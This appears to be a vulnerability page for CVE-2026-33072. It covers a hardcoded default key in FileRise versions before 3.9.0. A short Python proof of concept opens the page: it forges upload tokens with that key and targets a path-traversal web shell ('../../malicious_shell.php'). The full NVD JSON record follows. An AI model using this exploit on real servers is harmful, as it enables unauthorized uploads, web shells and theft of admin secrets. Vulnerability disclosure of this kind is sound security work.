CVE-2026-33072

import hmac import hashlib # The hardcoded default encryption key found in vulnerable versions DEFAULT_KEY = b'default_please_change_this_key' def forge_upload_token(file_data): """Forges an upload token using the hardcoded key.""" # Simulating the token generation logic used by FileRise # The actual implementation details may vary based on the specific hashing algorithm used (e.g., SHA256) message = file_data.encode('utf-8') # Generate HMAC signature signature = hmac.new(DEFAULT_KEY, message, hashlib.sha256).hexdigest() return { "file": file_data, "token": signature } if __name__ == "__main__": # Example usage: forging a token for a malicious file target_file = "../../malicious_shell.php" forged_token = forge_upload_token(target_file) print(f"[+] Forged Request Payload:") print(f"File: {forged_token['file']}") print(f"Token: {forged_token['token']}") print("[+] Send this payload to the upload endpoint to exploit the vulnerability.")

{"cve": {"id": "CVE-2026-33072", "sourceIdentifier": "[email protected]", "published": "2026-03-20T09:16:15.710", "lastModified": "2026-03-23T15:53:41.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.9.0, a hardcoded default encryption key (default_please_change_this_key) is used for all cryptographic operations — HMAC token generation, AES config encryption, and session tokens — allowing any unauthenticated attacker to forge upload tokens for arbitrary file upload to shared folders, and to decrypt admin configuration secrets including OIDC client secrets and SMTP passwords. FileRise uses a single key (PERSISTENT_TOKENS_KEY) for all crypto operations. The default value default_please_change_this_key is hardcoded in two places and used unless the deployer explicitly overrides the environment variable. This issue is fixed in version 3.9.0."}, {"lang": "es", "value": "FileRise es un gestor de archivos web autoalojado / servidor WebDAV. En versiones anteriores a la 3.9.0, se utiliza una clave de cifrado predeterminada codificada de forma rígida (default_please_change_this_key) para todas las operaciones criptográficas — generación de tokens HMAC, cifrado de configuración AES y tokens de sesión — permitiendo a cualquier atacante no autenticado forjar tokens de carga para la subida arbitraria de archivos a carpetas compartidas, y descifrar secretos de configuración de administrador, incluidos secretos de cliente OIDC y contraseñas SMTP. FileRise usa una única clave (PERSISTENT_TOKENS_KEY) para todas las operaciones criptográficas. El valor predeterminado default_please_change_this_key está codificado de forma rígida en dos lugares y se utiliza a menos que el implementador anule explícitamente la variable de entorno. Este problema está solucionado en la versión 3.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}, {"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.0", "matchCriteriaId": "AB279A4C-FE56-4D97-9D52-6C316C1B3266"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/releases/tag/v3.9.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-f4xx-57cv-mg3x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-f4xx-57cv-mg3x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}